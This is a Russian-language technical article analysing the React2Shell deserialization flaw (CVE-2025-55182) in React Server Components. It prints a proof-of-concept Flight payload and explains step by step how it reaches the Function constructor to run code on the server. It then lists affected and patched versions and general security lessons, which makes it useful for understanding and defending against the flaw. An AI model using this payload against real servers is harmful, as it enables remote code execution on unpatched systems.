Уязвимость React2Shell: что произошло и какие уроки можно извлечь
- пятница, 2 января 2026 г. в 00:00:06
3 декабря 2025 года критическая уязвимость в серверных компонентах React (React Server Components, RSC) потрясла сообщество веб-разработчиков. Была обнаружена уязвимость React2Shell/React4Shell (CVE-2025-55182) с оценкой CVSS 10.0, что является максимальным баллом для уязвимостей. Ошибка позволяет удаленно выполнять код (Remote Code Execution, RCE) на любом сервере, работающем с RSC. В течение нескольких часов после обнаружения уязвимости китайские государственные группы и криптомайнинговые компании начали взламывать уязвимые серверы.
В этой статье подробно разбирается, что и почему произошло, а также как незначительное, на первый взгляд, проектное решение в протоколе React Flight превратилось в одну из самых серьезных уязвимостей React в 2025 году.
Мы также обсудим, как защитить себя и как эта уязвимость подчеркивает важнейшие принципы безопасности.
По сути, React2Shell - это ошибка десериализации в процессе, когда RSC восстанавливают серверные данные из полезной нагрузки (payload) Flight. Из-за некорректной десериализации RSC из данных полезной нагрузки любой может выполнить вредоносный код на сервере, что приводит к уязвимости безопасности 10-го уровня.
Уязвимость была продемонстрирована Лахланом Дэвидсоном, который представил следующее доказательство концепции (Proof of Concept, POC):
const payload = {
'0': '$1',
'1': {
'status':'resolved_model',
'reason':0,
'_response':'$4',
'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then':'$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix':'console.log(7*7+1)//',
'_formData':{
'get':'$3:constructor:constructor'
},
'_chunks':'$2:_response:_chunks',
}
}
Разберем это POC. Но сначала кратко рассмотрим RSC и React Flight.
Традиционно у веб-приложений было два варианта:
Рендеринг на стороне сервера (Server Side Rendering, SSR): рендеринг HTML на сервере, отправка клиенту целых страниц.
Рендеринг на стороне клиента (Client Side Rendering, CSR): отправка клиенту пакетов JavaScript, рендеринг всего в браузере.
RSC представил третий вариант:
рендеринг компонентов на сервере (с доступом к базам данных, файловым системам, секретным ключам)
преобразование дерева компонентов в компактный формат с помощью протокола React Flight
передача данных клиенту в потоковом (stream) режиме небольшими частями (chunks) JavaScript
"гидратация" (hydration) дерева компонентов клиентом, что делает его интерактивным
Это замечательно, поскольку сочетает в себе преимущества как клиентского, так и серверного рендеринга:
сложные вычисления (разбор (парсинг) Markdown, обработка данных) могут выполняться на сервере
уменьшается размер клиентской сборки, поскольку требуется меньше JavaScript-кода
данные могут передаваться клиенту постепенно по мере готовности, что улучшает воспринимаемую пользователем производительность
Все это обеспечивается новым протоколом, разработанным для RSC, под названием React Flight.
React Flight — это протокол передачи данных, лежащий в основе серверных компонентов. Он сериализует компоненты React в компактный, потоковый формат.
RSC требуется передавать данные с сервера на клиент и обратно, а также отправлять промисы (promises), а текущая реализация JSON не позволяет этого делать. Поэтому команде React пришлось разработать новый протокол под названием React Flight для RSC.
С помощью этого протокола React может передавать данные между сервером и клиентом по частям (chunks). Данные выглядят как массив значений, представленных в виде строк:
1:HL["/_next/static/css/4470f08e3eb345de.css",{"as":"style"}]
0:"$L2"
3:HL["/_next/static/css/b206048fcfbdc57f.css",{"as":"style"}]
4:I{"id":2353,"chunks":["2272:static/chunks/webpack-38ffa19a52cf40c2.js","9253:static/chunks/bce60fc1-ce957b73f2bc7fa3.js","7698:static/chunks/7698-762150c950ff271f.js"],"name":"default","async":false}
...
Что это такое
Это компактное строковое представление виртуального DOM, содержащее сокращения, внутренние ссылки и символы с закодированным специальным значением.
Строки разделены \n, поэтому это строковый формат, а не JSON.
Фактически, исходный код разбивается на чанки и помещается в массив внутри тегов <script>.
Каждая строка имеет формат ID:TYPE?JSON.
Как это работает
Мы можем предварительно сгенерировать контент на сервере, вызвав метод renderToPipeableStream для сериализации компонента.
Результат разбивается на чанки.
Чанки ссылаются друг на друга с помощью компактных строковых токенов.
Промисы могут передаваться потоком и выполняться постепенно.
Десериализация контента на стороне клиента осуществляется с помощью функции createFromFetch, которая возвращает корректный JSX-код.

Пример
Допустим, у нас есть простой компонент для создания постов в блоге:
// BlogPost.server.js (серверный компонент)
async function BlogPost({ id }) {
// Это выполняется только на сервере
const post = await db.query('SELECT * FROM posts WHERE id = ?', [id]);
return (
<article>
<h1>{post.title}</h1>
<p>By {post.author}</p>
<div>{post.content}</div>
</article>
);
}
export default BlogPost;
Он преобразуется в такой протокол React Flight:
M1:{"id":"./src/BlogPost.server.js","chunks":[],"name":""}
J0:["$","article",null,{"children":[["$","h1",null,{"children":"Getting Started with RSC"}],["$","p",null,{"children":"By Alice"}],["$","div",null,{"children":"React Server Components are a new way to build React apps..."}]]}],
Разберем подробно.
Строка 1: M1:...
M = ссылка на модуль
1 = идентификатор этого модуля
JSON, содержащий метаданные о модуле серверного компонента
Строка 2: J0:...
J = чанк JSON
0 = идентификатор корневого компонента
массив описывает дерево элементов React:
"$"= специальный маркер для элементов React
"article" = тип элемента
null = ключ (key)
объект, содержащий пропы (props) компонента, включая массив children
Мощь React Flight заключается в поддержке такого функционала, как:
потоковая передача серверных компонентов
сериализация промисов
обращение к значениям, доступным только на сервере (функциям, BLOB-объектам)
Именно это и сделало возможным рассматриваемый эксплойт.
Данная уязвимость использует эти механизмы для следующих целей:
внедрение ложного промиса
перехват внутренней логики React по обработке then
извлечение конструктора Function
выполнение вредоносного JavaScript-кода на сервере, что приводит к RCE
Вспомним предложенное POC:
const payload = {
'0': '$1',
'1': {
'status':'resolved_model',
'reason':0,
'_response':'$4',
'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then':'$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix':'console.log(7*7+1)//',
'_formData':{
'get':'$3:constructor:constructor'
},
'_chunks':'$2:_response:_chunks',
}
}
Разберем его по шагам.
Шаг 1: React обрабатывает чанк 0 (точку входа)
"0": "$1" // React начинает здесь, видит ссылку на чанк 1
Шаг 2: React обрабатывает чанк 1 (ложный промис)
"1": {
"status": "resolved_model",
"reason": 0,
"_response": "$4",
"value": "{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}",
"then": "$2:then"
}
Объекту аккуратно придается вид разрешенного промиса.
В JavaScript любой объект со свойством then рассматривается как thenable и обрабатывается как промис.
React видит это и думает: "Это промис, мне следует вызвать его метод then".
Вот тут-то и начинается эксплойт.
Шаг 3: React разрешает первый then
"then": "$2:then" // "Взять чанк 2, затем обратиться к его свойству 'then'"
Шаг 4: поиск чанка 2
Следующий фрагмент на самом деле довольно сложный:
"2": "$@3",
"3": []
React решает эту задачу следующим образом:
Находит чанк 2 → "$@3"
$@3 - это ссылка на себя (self-reference), которая возвращает свой собственный объект-обертку, то есть объект из третьего чанка. Это ключевой момент.
Объект-обертка выглядит так:
{
"value": [],
"then": "function(resolve, reject) { ... }",
"_response": { ... }
}
Обратите внимание, что этот объект имеет метод then, который вызывается при вызове $2:then.
Шаг 5: обращение к свойству then обертки
Функция then чанка 1 присваивается then обертки чанка 3:
"then": "$2:then" // chunk3_wrapper.then
Это внутренний код React:
function chunkThen(resolve, reject) {
// 'this' теперь является чанком 1 (вредоносный объект)
if (this.status === 'resolved_model') {
// Обработка значения
var value = JSON.parse(this.value); // Разбор строки JSON
// Разрешение ссылок, содержащихся в значении, с помощью this._response
var resolved = reviveModel(this._response, value);
resolve(resolved);
}
}
Проверка status === 'resolved_model' обходится за счет установки атакующим такого объекта в чанке 1:
"1": {
"status": "resolved_model",
"reason": 0,
"_response": "$4",
"value": "{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}",
"then": "$2:then"
}
Шаг 6: выполнение блока then
Выполняется следующий код:
var value = JSON.parse(this.value); // {"then":"$3:map","0":{"then":"$B3"},"length":1}
Ключевые детали:
this.status - контролируется атакующим
this.value - JSON, контролируемый атакующим
this._response - ссылается на чанк 4
Шаг 7: обработка ответа
Следующая строка кода вызывается с чанком 4 и разобранным JSON из шага 6:
var resolved = reviveModel(this._response, value);
"4": {
"_prefix": "console.log(7*7+1)//",
"_formData": {
"get": "$3:constructor:constructor"
},
"_chunks": "$2:_response:_chunks"
}
{
"then": "$3:map",
"0": {
"then": "$B3"
},
"length": 1
}
Это выглядит как рекурсивный блок then, и React начинает разрешать ссылки внутри value. Одной из них является $B3.
Шаг 8: разбор двоичных данных
Префикс B означает двоичный объект (blob), который является специальным ссылочным типом, используемым для сериализации несериализуемых значений, таких как:
функции
символы
файловые объекты
другие сложные объекты, которые невозможно преобразовать в строку JSON
React разрешает блобы следующим образом:
return response._formData.get(response._prefix + blobId)
Атакующий подменил эти значения собственными:
_formData.get → '$3:constructor:constructor' → [].constructor.constructor → Function
_prefix → 'console.log(7*7+1)//'
React выполняет:
Function('console.log(7*7+1)//3')
Бум!
Переопределяя свойства объекта, злоумышленник выполняет вредоносный код.
Хитрый прием, позволяющий избежать ошибок, — это комментарий, следующий за console.log в следующей строке:
console.log(7*7+1)//
Без этого код return response._formData.get(response._prefix + blobId) выполнится как Function(console.log(7*7+1)3), что приведет к синтаксической ошибке (Uncaught SyntaxError: missing ) after argument list).
Комментарий позволяет избежать ошибок:
'_prefix': 'console.log(7*7+1)//'
Function(console.log(7*7+1)//3) // 3 теперь является комментарием и игнорируется 🤯
Очень умный эксплойт.
Атакующий:
внедряет конструктор Function через блоб
ссылается на него с помощью $B3 в цепочке промиса
обманывает десериализатор, заставляя его вызвать Function с вредоносным кодом

Это затрагивает всех, кто используется RSC. Это касается и популярных фреймворков:
Next.js (App Router с RSC)
Redwood
Waku
любая пользовательская настройка с react-server-dom-webpack или аналогичными пакетами
Уязвимость присутствует в нескольких версиях следующих библиотек:
Помимо React2Shell, были обнаружены еще две уязвимости:
Отказ в обслуживании (Denial of Service, DoS): рекурсивные вызовы then могут обрушить сервер (по данным Stack Overflow)
Раскрытие секретной информации: эксплойт внутренних структур React может привести к утечке секретов, хранящихся на сервере
Команда React выпустила экстренные патчи для решения этой проблемы. Основное исправление добавляет строгие проверки принадлежности свойств с помощью hasOwnProperty(), чтобы предотвратить обход цепочки прототипов, и проверяет внутренние ссылки, чтобы предотвратить их перехват.
Если вы используете версии 19.0.0, 19.0.1, 19.0.2, 19.1.0, 19.1.1, 19.1.2, 19.2.0, 19.2.1 и 19.2.2:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack
Необходимо немедленно обновиться до:
react@19.0.3 , 19.1.4 или 19.2.3.
патчи, специфичные для конкретной платформы
Next.js
15.0.5
15.1.9
15.2.6
15.3.6
15.4.8
15.5.7
16.0.7
Проверьте свои зависимости с помощью команды npm list react react-dom.
Обратите внимание, что даже приложения, которые явно не используют серверные функции (server functions), могут быть уязвимы, если они поддерживают RSC.
React2Shell подтверждает важность соблюдения важнейших принципов безопасности:
Никогда не доверяйте пользовательскому вводу: даже, казалось бы, безобидный JSON может стать оружием.
Валидация десериализованных данных: проверка структуры объектов и принадлежности свойств.
Принцип наименьших привилегий: не раскрывайте внутренние цепочки прототипов.
Многоуровневая защита: многоуровневая валидация предотвращает возникновение единых точек отказа (Single Points of Failure).
Обновите зависимости React. Прямо сейчас.
Благодарим Лахлана Дэвидсона за ответственное раскрытие информации и подробное доказательство концепции.